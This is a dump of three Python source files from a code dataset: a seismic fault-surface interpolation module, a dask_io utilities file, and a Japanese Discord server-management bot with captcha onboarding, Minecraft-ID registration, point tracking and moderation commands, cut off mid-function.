self._readHeader()\n for rib in self.ribs:\n dat.extend(rib)\n self._allPoints = np.rec.fromrecords(dat, names='x,y,z')\n return self._allPoints\n\n def strikeDip(self, vol=None, velocity=None):\n \"\"\"\n Returns a strike and dip of the ezfault following the Right-hand-rule.\n Input:\n vol (optional): A geoprobe volume object\n If specified, the x, y, and z units will be converted\n to world units based on the volume's header.\n velocity (optional): Velocity in meters/second\n If specified, the z units will be converted from time\n into depth using the velocity given. Assumes the z\n units are milliseconds!!\n Output:\n strike, dip\n \"\"\"\n return utilities.points2strikeDip(self.points.x, self.points.y,\n self.points.z, vol=vol, velocity=velocity)\n\n def interpolate(self, xi, yi):\n from scipy import interpolate\n # Need to write a norm function that calculates distance from a rib...\n\n \"\"\"\n def interp(x1,x2,x3, x1i, x2i):\n spline = interpolate.Rbf(x1, x2, x3, function='thin-plate', smooth=0)\n return spline(x1i,x2i)\n\n try:\n zi = interp(self.points.x, self.points.y, self.points.z, xi, yi)\n except np.linalg.linalg.LinAlgError:\n zi = interp(self.points.y, self.points.x, self.points.z, yi, xi)\n \"\"\"\n\n # Segfaults... Problems with the way scipy is compiled?\n tck = interpolate.bisplrep(self.points.x, self.points.y, self.points.z)\n zi = interpolate.bisplev(yi, xi, tck)\n\n\n \"\"\"\n spline = interpolate.Rbf(self.points.x, self.points.y, self.points.z,\n function='thin-plate', smooth=0)\n zi = spline(xi,yi)\n \"\"\"\n\n return zi\n\n\n\n def grid(self, dx=None, dy=None, extents=None, vol=None):\n\n if extents is None:\n xstart, xstop = self.xmin, self.xmax\n ystart, ystop = self.ymin, self.ymax\n else:\n xstart, xstop, ystart, ystop = extents\n\n if vol is not None:\n # Interpolate ezfault at volume indicies\n if type(vol) == type('String'):\n vol = volume(vol)\n dx, dy = abs(vol.dx), abs(vol.dy)\n\n # Make sure we start at a volume index\n xstart, xstop = [vol.index2model(vol.model2index(item))\n for item in [xstart, xstop] ]\n ystart, ystop= [vol.index2model(\n vol.model2index(item, axis='y'),\n axis='y')\n for item in [ystart, ystop] ]\n\n else:\n if dx is None: dx = 1\n if dy is None: dy = dx\n\n X = np.arange(xstart, xstop, dx)\n Y = np.arange(ystart, ystop, dy)\n # Not needed w/ new way of interpolating?\n# X,Y = np.meshgrid(X,Y)\n grid = self.interpolate(X,Y)\n\n# grid = Z.reshape(X.shape)\n\n return grid\n\n\n\n\n","repo_name":"joferkington/python-geoprobe","sub_path":"geoprobe/ezfault.py","file_name":"ezfault.py","file_ext":"py","file_size_in_byte":7400,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"38"} +{"seq_id":"11924555697","text":"import os\nimport datetime\nimport csv\nimport traceback\nimport math \n\n\nONE_GIG = 1000000000\nSUB_BIGBRAIN_SHAPE = (1540, 1610, 1400)\nCHUNK_SHAPES_EXP1 = {'slabs_dask_interpol': ('auto', (1210), (1400)), \n 'slabs_previous_exp': (7, (1210), (1400)),\n 'blocks_dask_interpol': (220, 242, 200), \n 'blocks_previous_exp': (770, 605, 700)}\n\n\ndef flush_cache():\n os.system('sync; echo 3 | sudo tee /proc/sys/vm/drop_caches') \n\n\ndef neat_print_graph(graph):\n for k, v in graph.items():\n print(\"\\nkey\", k)\n if isinstance(v, dict):\n for k2, v2 in v.items():\n print(\"\\nk\", k2)\n print(v2, \"\\n\")\n\n\ndef create_csv_file(filepath, columns, delimiter=',', mode='w+'):\n \"\"\"\n args:\n file_path: path of the file to be created\n columns: column names for the prefix\n delimiter\n mode\n\n returns:\n csv_out: file handler in order to close the file later in the program\n writer: writer to write rows into the csv file\n \"\"\"\n try:\n csv_out = open(filepath, mode=mode)\n writer = csv.writer(csv_out, delimiter=delimiter)\n writer.writerow(columns)\n return csv_out, writer\n except OSError as e:\n print(traceback.format_exc())\n print(\"An error occured while attempting to create/write csv file.\")\n exit(1)\n\n\ndef add_to_dict_of_lists(d, k, v, unique=False):\n \"\"\" if key does not exist, add a new list [value], else, \n append value to existing list corresponding to the key\n \"\"\"\n if k not in d:\n if v:\n d[k] = [v]\n else:\n d[k] = list()\n else:\n if v and (unique and v not in d[k]) or not unique:\n d[k].append(v)\n return d\n\n\ndef flatten_iterable(l, plain_list=list()):\n for e in l:\n if isinstance(e, list) and not isinstance(e, (str, bytes)):\n plain_list = flatten_iterable(e, plain_list)\n else:\n plain_list.append(e)\n return plain_list\n\n\ndef numeric_to_3d_pos(numeric_pos, blocks_shape, order):\n if order == 'C':\n nb_blocks_per_row = blocks_shape[0]\n nb_blocks_per_slice = blocks_shape[0] * blocks_shape[1]\n elif order == 'F':\n nb_blocks_per_row = blocks_shape[2]\n nb_blocks_per_slice = blocks_shape[1] * blocks_shape[2]\n else:\n raise ValueError(\"unsupported\")\n\n i = math.floor(numeric_pos / nb_blocks_per_slice)\n numeric_pos -= i * nb_blocks_per_slice\n j = math.floor(numeric_pos / nb_blocks_per_row)\n numeric_pos -= j * nb_blocks_per_row\n k = numeric_pos\n return (i, j, k)\n\n\ndef _3d_to_numeric_pos(_3d_pos, shape, order):\n if order == 'C':\n nb_blocks_per_row = shape[0]\n nb_blocks_per_slice = shape[0] * shape[1]\n elif order == 'F':\n nb_blocks_per_row = shape[2]\n nb_blocks_per_slice = shape[1] * shape[2]\n else:\n raise ValueError(\"unsupported\")\n\n return (_3d_pos[0] * nb_blocks_per_slice) + \\\n (_3d_pos[1] * nb_blocks_per_row) + _3d_pos[2]","repo_name":"big-data-lab-team/dask_io","sub_path":"dask_io/optimizer/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"38880150015","text":"import asyncio\nimport datetime\nimport json\nimport os\nimport random\nimport shutil\nimport re\n\nimport discord\nimport MySQLdb\nimport requests\nfrom PIL import Image, ImageDraw, ImageFont\n\nasync def user_data(message, command):\n \"\"\"\n けい鯖のユーザーのデータを表示する関数\"\"\"\n\n try:\n user_id = int(command.split()[1])\n except ValueError:\n await message.channel.send(\"不正な引数です\")\n return\n except IndexError:\n user_id = message.author.id\n\n member = message.guild.get_member(user_id)\n if member is None:\n await message.channel.send(\"そんな人この鯖にいません\")\n return\n\n with open(\"./datas/user_data.json\", mode=\"r\", encoding=\"utf-8\") as f:\n user_data_dict = json.load(f)\n\n user_data = user_data_dict[f\"{member.id}\"]\n\n user_data_embed = discord.Embed(color=0xfffffe)\n user_data_embed.set_author(name=f\"{member.name}\", icon_url=member.display_avatar.url)\n\n roles = \"\"\n for role in reversed(member.roles):\n roles += f\"{role.mention}\\n\"\n user_data_embed.add_field(name=\"roles\", value=roles, inline=True)\n\n mcids = \"\"\n for mcid in user_data[\"mcid\"]:\n mcid = mcid.replace(\"_\", \"\\_\")\n mcids += f\"{mcid}\\n\"\n counter = len(user_data[\"mcid\"])\n mcids += f\"以上{counter}アカ\"\n user_data_embed.add_field(name=\"MCID\", value=mcids, inline=True)\n\n point = user_data[\"point\"]\n user_data_embed.add_field(name=\"point\", value=f\"{point}\", inline=True)\n\n speak = user_data[\"speak\"]\n user_data_embed.add_field(name=\"speak\", value=f\"{speak}\", inline=True)\n\n joined_time = (member.joined_at + datetime.timedelta(hours=9)).strftime(r\"%Y/%m/%d-%H:%M\")\n user_data_embed.add_field(name=\"joined\", value=joined_time, inline=True)\n\n await message.channel.send(embed=user_data_embed)\n\n\nasync def mypt(message):\n \"\"\"\n 自分のpt保有量を確認する関数\"\"\"\n\n with open(\"./datas/user_data.json\", mode=\"r\", encoding=\"utf-8\") as f:\n user_data_dict = json.load(f)\n\n try:\n had_pt = user_data_dict[f\"{message.author.id}\"][\"point\"]\n except KeyError:\n user_data_dict[f\"{message.author.id}\"] = {\"ban\": False, \"role\": [], \"mcid\": [], \"point\": 0, \"speak\": 0}\n had_pt = 0\n\n await message.channel.send(f\"{message.author.name}さんは{had_pt}pt保有しています。\")\n\n\nasync def ranking(message, command):\n \"\"\"\n 第一引数にpointかspeakを\"\"\"\n\n operation = command.split()[1]\n try:\n page = int(command.split()[2])\n except ValueError:\n await message.channel.send(\"ページ数が不正です\")\n return\n except IndexError:\n page = 1\n\n if operation in (\"point\", \"pt\"):\n operation = \"point\"\n title = \"ポイントランキング\"\n elif operation == \"speak\":\n title = \"発言数ランキング\"\n else:\n await message.channel.send(\"引数が不正です。\\nヒント: `/ranking␣[point, pt, speak]`\")\n return\n\n with open(\"./datas/user_data.json\", mode=\"r\", encoding=\"utf-8\") as f:\n user_data_dict = json.load(f)\n\n description = \"\"\n start = (page - 1) * 20\n i = 0\n for key, value in sorted(user_data_dict.items(), key=lambda x: -x[1][operation]):\n if i >= start:\n if i >= page * 20:\n break\n member = message.guild.get_member(int(key))\n point = value[operation]\n if member is None:\n description += f\"{i+1}位: None: {point}\\n\"\n else:\n description += f\"{i+1}位: {member.name}: {point}\\n\"\n i += 1\n\n embed = discord.Embed(title=f\"{title} ({page}頁)\", description=f\"```\\n{description}```\", color=0x005500)\n await message.channel.send(embed=embed)\n\n\nasync def glist(message, client1):\n \"\"\"\n bot参加鯖の一覧を表示\"\"\"\n\n text = \"\"\n for guild in client1.guilds:\n text += f\"{guild.name}\\n{guild.id}\\n{guild.owner}\\n\\n\"\n text += f\"以上{len(client1.guilds)}鯖\"\n await message.channel.send(embed=discord.Embed(title=\"参加鯖一覧\", description=text))\n\n\nasync def accept(message, client1):\n \"\"\"\n 新規役職剥奪用関数\"\"\"\n\n new_role = message.guild.get_role(621641465105481738)\n accept_able_role = message.guild.get_role(626062897633689620)\n crafter_role = message.guild.get_role(586123363513008139)\n\n if not new_role in message.author.roles:\n await message.channel.send(\"もう新規役職付いてないよ^^\")\n return\n\n if not accept_able_role in message.author.roles:\n await message.channel.send(\"まず<#640833025822949387>をお願いします\\nマイクラJava版を所持していない場合はお手数ですがKirisameKeiまでご連絡ください。\")\n return\n\n if not message.channel.id == 592581835343659030:\n await message.channel.send(\"説明読みました?チャンネル違いますよ?\")\n return\n\n mojiretsu = create_pic_capcha()\n\n connection = MySQLdb.connect(\n host=os.getenv(\"mysql_host\"),\n user=os.getenv(\"mysql_user\"),\n passwd=os.getenv(\"mysql_passwd\"),\n db=\"capcha\"\n )\n cursor = connection.cursor()\n cursor.execute(f\"insert into capcha_tbl (user_id, moji) values ({message.author.id}, '{mojiretsu}')\")\n connection.commit()\n cursor.close()\n connection.close()\n\n file = discord.File(\"capcha.png\")\n msg = await message.channel.send(\n content=f\"{message.author.mention}\\nお読みください(ひらがな5文字)\\n60秒無言でタイムアウト\\nリアクションで画像変更\",\n file=file\n )\n await msg.add_reaction(\"🔄\")\n\n def check1(m):\n return (m.channel == message.channel and m.author.id == message.author.id) or\\\n (m.channel == message.channel and m.author.id == client1.user.id)\n\n while True:\n try:\n reply = await client1.wait_for(\"message\", check=check1, timeout=60)\n except asyncio.TimeoutError:\n await message.channel.send(f\"{message.author.mention}\\nタイムアウトしました。acceptコマンドを打つところからやり直してください。\")\n connection = MySQLdb.connect(\n host=os.getenv(\"mysql_host\"),\n user=os.getenv(\"mysql_user\"),\n passwd=os.getenv(\"mysql_passwd\"),\n db=\"capcha\"\n )\n cursor = connection.cursor()\n cursor.execute(f\"delete from capcha_tbl where user_id={message.author.id}\")\n connection.commit()\n cursor.close()\n connection.close()\n return\n\n connection = MySQLdb.connect(\n host=os.getenv(\"mysql_host\"),\n user=os.getenv(\"mysql_user\"),\n passwd=os.getenv(\"mysql_passwd\"),\n db=\"capcha\"\n )\n cursor = connection.cursor()\n cursor.execute(f\"select moji from capcha_tbl where user_id={message.author.id}\")\n result = cursor.fetchall()\n right_mojiretsu = result[0][0]\n cursor.close()\n connection.close()\n\n if reply.author.id == client1.user.id:\n pass #タイマーリセット\n elif reply.content == right_mojiretsu:\n connection = MySQLdb.connect(\n host=os.getenv(\"mysql_host\"),\n user=os.getenv(\"mysql_user\"),\n passwd=os.getenv(\"mysql_passwd\"),\n db=\"capcha\"\n )\n cursor = connection.cursor()\n cursor.execute(f\"delete from capcha_tbl where user_id={message.author.id}\")\n connection.commit()\n cursor.close()\n connection.close()\n break\n else:\n await message.channel.send(f\"{message.author.mention}\\n違います。やり直してください。\\n読めない場合は🔄をリアクションすることで画像を変更できます\")\n\n await message.channel.send(\n f\"{message.author.mention}\\nあなたはたぶん人間です。第一認証を突破しました。\\n\"\n \"次の文章をひらがなで書いてください。```\\n一月一日日曜日、今日は元日です。```\"\n )\n\n def check2(m):\n return m.author == message.author\n\n for i in range(3):\n try:\n reply = await client1.wait_for(\"message\", check=check2, timeout=120)\n except asyncio.TimeoutError:\n await message.channel.send(\"タイムアウトしました。acceptコマンドを打つところからやり直してください。\")\n return\n answer_filter = re.compile(r\"いちがつ(ついたち|いちにち)にちようび(、|,|,|)(きょう|こんにち|こんじつ)はがんじつです(。|.|.|)\")\n if answer_filter.fullmatch(reply.content):\n await message.author.remove_roles(new_role)\n await message.author.remove_roles(accept_able_role)\n await message.author.add_roles(crafter_role)\n await message.channel.send(\n f\"{message.author.mention}\\nあなたはたぶん日本語ユーザーです。第二認証を突破しました。\\n\"\n f\"改めまして{message.author.name}さんようこそ{message.guild.name}へ!\\n\"\n \"<#664286990677573680>に自分がほしい役職があったらぜひ付けてみてください!\\n\"\n \"もしよろしければ<#586571234276540449>もしていただけると嬉しいです!\"\n )\n return\n else:\n if i != 2:\n description = \"そうは読まないと思います。もう一度書いてみてください。\"\n if \"がんたん\" in reply.content:\n description += \"\\nそれ本当に「元旦(がんたん)」ですか?落ち着いてよく見てみましょう\"\n await message.channel.send(f\"{message.author.mention}\\n{description}\")\n\n await message.channel.send(\n f\"{message.author.mention}\\n\"\n \"3回間違えました。You made mistake 3 times.\\n\"\n \"日本語のお勉強を頑張りましょう。Please study Japanese.\\n\"\n '日本語が分かるようになったら再度acceptしてください。Type \"/accept\" when you can understand Japanese.'\n )\n\n\nasync def marichan_invite(message):\n \"\"\"\n 魔理沙bot招待コマンドが実行されたとき用の関数\"\"\"\n\n await message.delete()\n await message.channel.send(\"コマンド漏洩防止のためコマンドを削除しました\", delete_after=5)\n\n invite_url = os.getenv(\"marichan_invite_url\")\n try:\n await message.author.send(invite_url)\n marichan_inviter_role = message.guild.get_role(663542711290429446) #魔理沙bot導入者\n await message.author.add_roles(marichan_inviter_role)\n except discord.errors.Forbidden:\n await message.channel.send(\"権限エラー。DMを解放してください。\")\n return\n\n await message.channel.send(\"DMに招待urlを送信しました。管理者権限を持っているサーバに入れられます。\")\n\n\nasync def delmsg(message, client1, command):\n \"\"\"\n 管理者持ちが実行したら実行チャンネルのメッセージを削除する\n 管理者なしが実行したら怒ってドM役職を付ける\"\"\"\n\n if message.author.bot:\n return\n\n admin_role = message.guild.get_role(585999549055631408)\n if not (admin_role in message.author.roles):\n await message.channel.send(\"何様のつもり?\")\n doM_role = message.guild.get_role(616212704818102275)\n await message.author.add_roles(doM_role)\n return\n\n if command == \"delmsg\":\n msg = await message.channel.send(\"このチャンネルのメッセージを**全削除**しようとしています\\nよろしいですか?\")\n await msg.add_reaction(\"👍\")\n await msg.add_reaction(\"👎\")\n def check(reaction, user):\n return user == message.author and (str(reaction.emoji) == \"👍\" or str(reaction.emoji) == \"👎\")\n try:\n reply = await client1.wait_for(\"reaction_add\", check=check, timeout=60)\n except asyncio.TimeoutError:\n await message.channel.send(\"タイムアウトしました。最初からやり直してください\")\n return\n\n reaction = reply[0]\n if str(reaction.emoji) == \"👎\":\n await message.channel.send(\"キャンセルしました\")\n return\n\n await message.channel.purge(limit=None)\n return\n\n try:\n arg_No1 = command.split()[1]\n except IndexError:\n await message.channel.send(\"コマンドが間違っています\")\n return\n\n if arg_No1 == \"area\":\n try:\n start_msg_id = int(command.split()[2])\n end_msg_id = int(command.split()[3])\n except ValueError:\n await message.channel.send(\"不正な引数です\\nヒント:`/delmsg n` or `/delmsg area msgID msgID`\")\n return\n start_msg = await message.channel.fetch_message(start_msg_id)\n end_msg = await message.channel.fetch_message(end_msg_id)\n if start_msg is None or end_msg is None:\n await message.channel.send(\"そのメッセージは存在しません\")\n return\n start_msg_time = start_msg.created_at\n end_msg_time = end_msg.created_at\n await message.channel.purge(after=start_msg_time, before=end_msg_time)\n return\n\n try:\n how_many_del = int(arg_No1)\n except ValueError:\n await message.channel.send(\"不正な引数です\\nヒント:`/delmsg␣n` or `/delmsg␣area␣msgID␣msgID`\")\n return\n\n await message.channel.purge(limit=how_many_del+1)\n\n\nasync def edit_mcid(message, command):\n \"\"\"\n 登録されているMCIDを編集(追加/削除)する関数\"\"\"\n\n if message.author.bot:\n return\n\n admin_role = message.guild.get_role(585999549055631408)\n if not (admin_role in message.author.roles):\n await message.channel.send(\"何様のつもり?\")\n doM_role = message.guild.get_role(616212704818102275)\n await message.author.add_roles(doM_role)\n return\n\n try:\n operation = command.split()[1]\n user_id = int(command.split()[2])\n mcid = command.split()[3].replace(\"\\\\\", \"\")\n except ValueError:\n await message.channel.send(\"userIDとして成り立ちません\")\n return\n except IndexError:\n await message.channel.send(\"引数が足りません\\nヒント: `/mcid␣[add, del]␣userid␣MCID`\")\n return\n\n p = re.compile(r\"^[a-zA-Z0-9_]+$\")\n if not p.fullmatch(mcid):\n await message.channel.send(\"MCID編集に使えない文字が含まれています\")\n return\n\n if operation == \"add\":\n if not check_mcid_length(mcid):\n mcid = mcid.replace(\"_\", \"\\_\")\n await message.channel.send(f\"{mcid}はMCIDとして成り立ちません\")\n return\n\n if not check_mcid_yet(mcid):\n mcid = mcid.replace(\"_\", \"\\_\")\n await message.channel.send(f\"{mcid}は既に登録されています\")\n return\n\n mcid_uuid_tuple = check_mcid_exist(mcid)\n if mcid_uuid_tuple is None:\n await message.channel.send(\"現在データ参照元が使用できない状態です。しばらくたってからもう一度お試しください。\")\n return\n\n if not mcid_uuid_tuple:\n await message.channel.send(\"存在しないMCIDです\")\n return\n\n mcid = mcid_uuid_tuple[0]\n uuid = mcid_uuid_tuple[1]\n with open(\"./datas/user_data.json\", mode=\"r\", encoding=\"utf-8\") as f:\n user_data_dict = json.load(f)\n\n try:\n user_data = user_data_dict[f\"{user_id}\"]\n except KeyError:\n user_data_dict[f\"{user_id}\"] = {\"ban\": False, \"role\": [], \"mcid\": [], \"point\": 0, \"speak\": 0}\n user_data = user_data_dict[f\"{user_id}\"]\n mcid_list = user_data[\"mcid\"]\n\n mcid_list.append(mcid)\n\n connection = MySQLdb.connect(\n host=os.getenv(\"mysql_host\"),\n user=os.getenv(\"mysql_user\"),\n passwd=os.getenv(\"mysql_passwd\"),\n db=os.getenv(\"mysql_db_name\")\n )\n cursor = connection.cursor()\n cursor.execute(f\"insert into uuids (id, uuid, mcid) values ({user_id}, '{uuid}', '{mcid}')\")\n connection.commit()\n cursor.close()\n connection.close()\n\n user_data_json = json.dumps(user_data_dict, indent=4)\n with open(\"./datas/user_data.json\", mode=\"w\", encoding=\"utf-8\") as f:\n f.write(user_data_json)\n\n member_name = message.guild.get_member(user_id).name\n mcid = mcid.replace(\"_\", \"\\_\")\n await message.channel.send(f\"{member_name}のMCIDに{mcid}を追加しました\")\n\n elif operation == \"del\":\n with open(\"./datas/user_data.json\", mode=\"r\", encoding=\"utf-8\") as f:\n user_data_dict = json.load(f)\n\n try:\n user_data = user_data_dict[f\"{user_id}\"]\n except KeyError:\n user_data_dict[f\"{user_id}\"] = {\"ban\": False, \"role\": [], \"mcid\": [], \"point\": 0, \"speak\": 0}\n user_data = user_data_dict[f\"{user_id}\"]\n mcid_list = user_data[\"mcid\"]\n\n deleted = False\n for registered_mcid in mcid_list:\n if registered_mcid.lower() == mcid.lower():\n mcid_list.remove(registered_mcid)\n deleted = True\n break\n\n if not deleted:\n member_name = message.guild.get_member(user_id).name\n mcid = mcid.replace(\"_\", \"\\_\")\n await message.channel.send(f\"{member_name}は{mcid}というMCIDを登録していません\")\n return\n\n connection = MySQLdb.connect(\n host=os.getenv(\"mysql_host\"),\n user=os.getenv(\"mysql_user\"),\n passwd=os.getenv(\"mysql_passwd\"),\n db=os.getenv(\"mysql_db_name\")\n )\n cursor = connection.cursor()\n cursor.execute(f\"delete from uuids where mcid='{mcid}'\")\n connection.commit()\n cursor.close()\n connection.close()\n\n user_data_json = json.dumps(user_data_dict, indent=4)\n with open(\"./datas/user_data.json\", mode=\"w\", encoding=\"utf-8\") as f:\n f.write(user_data_json)\n\n member_name = message.guild.get_member(user_id).name\n mcid = mcid.replace(\"_\", \"\\\\_\")\n await message.channel.send(f\"{member_name}のMCID、{mcid}を削除しました\")\n\n else:\n await message.channel.send(\"第一引数が不正です\\nヒント: `/mcid␣[add, del]␣userid␣MCID`\")\n\n\nasync def point(message, command):\n \"\"\"\n 第一引数:操作(付与、剥奪、セット、補償、合計算出)\n 第二引数:対象のID(sumでは不要)\n 第三引数(crd、sumでは不要):pt\"\"\"\n\n if message.author.bot:\n return\n\n admin_role = message.guild.get_role(585999549055631408)\n if not (admin_role in message.author.roles):\n await message.channel.send(\"何様のつもり?\")\n doM_role = message.guild.get_role(616212704818102275)\n await message.author.add_roles(doM_role)\n return\n\n operation = command.split()[1]\n\n with open(\"./datas/user_data.json\", mode=\"r\", encoding=\"utf-8\") as f:\n user_data_dict = json.load(f)\n\n if operation == \"sum\":\n\n pt = 0\n for user_data in user_data_dict.values():\n pt += user_data[\"point\"]\n\n lc, amari = divmod(pt, 3456)\n st, ko = divmod(amari, 64)\n\n await message.channel.send(f\"合計{pt}pt({lc}LC+{st}st+{ko})\")\n return\n\n try:\n user_id = int(command.split()[2])\n except IndexError:\n await message.channel.send(\"引数が足りません\\nヒント:/pt␣[add, use, set, crd, sum]␣ID␣(n(n≧0))\")\n return\n except ValueError:\n await message.channel.send(\"ユーザーIDは半角数字です\")\n return\n\n if operation == \"crd\":\n member = message.guild.get_member(user_id)\n if member is None:\n await message.channel.send(\"そんな人この鯖にいません\")\n return\n\n kouho_tuple = (\"おめでとう!\", \"はずれ\", \"はずれ\")\n touraku = random.choice(kouho_tuple)\n if touraku == \"はずれ\":\n await message.channel.send(f\"{member.name}への補填結果: {touraku}\")\n return\n\n get_pt = random.randint(1,32)\n \n with open(\"./datas/user_data.json\", mode=\"r\", encoding=\"utf-8\") as f:\n user_data_dict = json.load(f)\n \n try:\n before_pt = user_data_dict[f\"{member.id}\"][\"point\"]\n except KeyError:\n user_data_dict[f\"{member.id}\"] = {\"ban\": False, \"role\": [], \"mcid\": [], \"point\": 0, \"speak\": 0}\n before_pt = user_data_dict[f\"{member.id}\"][\"point\"]\n\n user_data_dict[f\"{member.id}\"][\"point\"] = before_pt + get_pt\n\n user_data_json = json.dumps(user_data_dict, indent=4)\n with open(\"./datas/user_data.json\", mode=\"w\", encoding=\"utf-8\") as f:\n f.write(user_data_json)\n \n await message.channel.send(f\"{member.name}への補填結果: {touraku}{get_pt}ptゲット!\\n{member.name}の保有pt: {before_pt}→{before_pt+get_pt}\")\n return\n\n try:\n pt = int(command.split()[3])\n except IndexError:\n await message.channel.send(\"引数が足りません\\nヒント:/pt␣[add, use, set, crd, sum]␣ID␣(n(n≧0))\")\n return\n except ValueError:\n await message.channel.send(\"add/use/setするpt数がが不正です\\nヒント:/pt␣[add, use, set, crd, sum]␣ID␣(n(n≧0))\")\n return\n\n if pt < 0:\n await message.channel.send(\"負の値を扱うことはできません。\")\n return\n\n if operation == \"add\":\n member = message.guild.get_member(user_id)\n if member is None:\n await message.channel.send(\"そんな人この鯖にいません\")\n return\n\n try:\n before_pt = user_data_dict[f\"{member.id}\"][\"point\"]\n except KeyError:\n user_data_dict[f\"{member.id}\"] = {\"ban\": False, \"role\": [], \"mcid\": [], \"point\": 0, \"speak\": 0}\n before_pt = user_data_dict[f\"{member.id}\"][\"point\"]\n\n after_pt = before_pt + pt\n\n elif operation == \"use\":\n member = message.guild.get_member(user_id)\n if member is None:\n await message.channel.send(\"そんな人この鯖にいません\")\n return\n\n try:\n before_pt = user_data_dict[f\"{member.id}\"][\"point\"]\n except KeyError:\n user_data_dict[f\"{member.id}\"] = {\"ban\": False, \"role\": [], \"mcid\": [], \"point\": 0, \"speak\": 0}\n before_pt = user_data_dict[f\"{message.author.id}\"][\"point\"]\n\n if (before_pt-pt) < 0:\n await message.channel.send(f\"ptが足りません\\n{member.name}の保有pt: {before_pt}\")\n return\n\n after_pt = before_pt - pt\n\n elif operation == \"set\":\n member = message.guild.get_member(user_id)\n if member is None:\n await message.channel.send(\"そんな人この鯖にいません\")\n return\n\n try:\n before_pt = user_data_dict[f\"{member.id}\"][\"point\"]\n except KeyError:\n user_data_dict[f\"{member.id}\"] = {\"ban\": False, \"role\": [], \"mcid\": [], \"point\": 0, \"speak\": 0}\n before_pt = user_data_dict[f\"{member.id}\"][\"point\"]\n\n after_pt = pt\n\n else:\n await message.channel.send(\"引数が不正です\\nヒント:`/pt␣[add, use, set, crd, sum]␣ID␣(n(n≧0))`\")\n return\n\n user_data_dict[f\"{member.id}\"][\"point\"] = after_pt\n user_data_json = json.dumps(user_data_dict, indent=4)\n with open(\"./datas/user_data.json\", mode=\"w\", encoding=\"utf-8\") as f:\n f.write(user_data_json)\n\n await message.channel.send(f\"{member.name}の保有pt: {before_pt}→{after_pt}\")\n\n\nasync def remove_role(message, command):\n \"\"\"\n 引数のIDを持つ役職を一斉に外す\"\"\"\n\n if message.author.bot:\n return\n\n admin_role = message.guild.get_role(585999549055631408)\n if not (admin_role in message.author.roles):\n await message.channel.send(\"何様のつもり?\")\n doM_role = message.guild.get_role(616212704818102275)\n await message.author.add_roles(doM_role)\n return\n\n try:\n role_id = int(command.split()[1])\n except ValueError:\n await message.channel.send(\"不正な引数です\\nヒント:`/remove_role␣roleID`\")\n return\n\n role = message.guild.get_role(role_id)\n n = 0\n for mem in role.members:\n try:\n await mem.remove_roles(role)\n n += 1\n except discord.errors.Forbidden:\n pass\n\n await message.channel.send(f\"{n}人から@{role.name}を剝奪しました\")\n\n\nasync def send_zip_data(message):\n \"\"\"\n データ類を全部引っ張ってくる関数\"\"\"\n\n if not message.author.id == 523303776120209408:\n await message.channel.send(\"何様のつもり?\")\n doM_role = message.guild.get_role(616212704818102275)\n await message.author.add_roles(doM_role)\n return\n\n shutil.make_archive(\"datas\", format=\"zip\", base_dir=\"./datas\")\n f = discord.File(\"datas.zip\")\n await message.author.send(file=f)\n\n\nasync def before_ban(message, client1, command):\n \"\"\"\n 第一引数のIDを持つユーザーを事前BANする関数\"\"\"\n\n if not message.author.id == 523303776120209408:\n await message.channel.send(\"何様のつもり?\")\n doM_role = message.guild.get_role(616212704818102275)\n await message.author.add_roles(doM_role)\n return\n\n try:\n user_id = int(command.split()[1])\n except ValueError:\n await message.channel.send(\"不正な引数です\")\n return\n\n try:\n banned_user = await client1.fetch_user(user_id)\n except discord.errors.NotFound:\n await message.channel.send(\"IDが間違っています\")\n return\n\n with open(\"./datas/user_data.json\", mode=\"r\", encoding=\"utf-8\") as f:\n user_data_dict = json.load(f)\n\n try:\n user_data = user_data_dict[f\"{user_id}\"]\n if user_data[\"ban\"]:\n await message.channel.send(f\"{banned_user.name}は既にBANされています\")\n return\n except KeyError:\n pass\n\n user_info_embed = discord.Embed(title=\"以下のユーザーを事前BANしますか?\", description=\"はい(BANする): 👍\\nいいえ(ミス): 👎\", color=0x000000)\n user_info_embed.set_thumbnail(url=banned_user.display_avatar.url)\n user_info_embed.add_field(name=\".\", value=banned_user.name)\n msg = await message.channel.send(embed=user_info_embed)\n await msg.add_reaction(\"👍\")\n await msg.add_reaction(\"👎\")\n def check(reaction, user):\n return user == message.author and (str(reaction.emoji) == \"👍\" or str(reaction.emoji) == \"👎\")\n try:\n reply = await client1.wait_for(\"reaction_add\", check=check, timeout=60)\n except asyncio.TimeoutError:\n await message.channel.send(\"タイムアウトしました。最初からやり直してください\")\n return\n\n else:\n if str(reply[0].emoji) == \"👎\":\n await message.channel.send(\"キャンセルしました\")\n return\n\n try:\n user_data = user_data_dict[f\"{user_id}\"]\n except KeyError:\n user_data_dict[f\"{user_id}\"] = {\"ban\": False, \"role\": [], \"mcid\": [], \"point\": 0, \"speak\": 0}\n user_data = user_data_dict[f\"{user_id}\"]\n\n user_data[\"ban\"] = True\n\n user_data_json = json.dumps(user_data_dict, indent=4)\n with open(\"./datas/user_data.json\", mode=\"w\", encoding=\"utf-8\") as f:\n f.write(user_data_json)\n\n await message.channel.send(f\"{banned_user.name}を事前BANしました\")\n\n\nasync def unban(message, client1, command):\n \"\"\"\n 第一引数のIDを持つユーザーの事前BANを解除する関数\"\"\"\n\n if not message.author.id == 523303776120209408:\n await message.channel.send(\"何様のつもり?\")\n doM_role = message.guild.get_role(616212704818102275)\n await message.author.add_roles(doM_role)\n return\n\n try:\n user_id = int(command.split()[1])\n except ValueError:\n await message.channel.send(\"不正な引数です\")\n return\n\n try:\n banned_user = await client1.fetch_user(user_id)\n except discord.errors.NotFound:\n await message.channel.send(\"IDが間違っています\")\n return\n\n with open(\"./datas/user_data.json\", mode=\"r\", encoding=\"utf-8\") as f:\n user_data_dict = json.load(f)\n\n try:\n user_data = user_data_dict[f\"{user_id}\"]\n if not user_data[\"ban\"]:\n await message.channel.send(f\"{banned_user.name}は事前BANされていません\")\n return\n except KeyError:\n await message.channel.send(\"そのユーザーIDは登録されていません\")\n return\n\n user_info_embed = discord.Embed(title=\"以下のユーザーの事前BANを解除しますか?\", description=\"はい(解除): 👍\\nいいえ(ミス): 👎\", color=0x000000)\n user_info_embed.set_thumbnail(url=banned_user.display_avatar.url)\n user_info_embed.add_field(name=\".\", value=banned_user.name)\n msg = await message.channel.send(embed=user_info_embed)\n await msg.add_reaction(\"👍\")\n await msg.add_reaction(\"👎\")\n def check(reaction, user):\n return user == message.author and (str(reaction.emoji) == \"👍\" or str(reaction.emoji) == 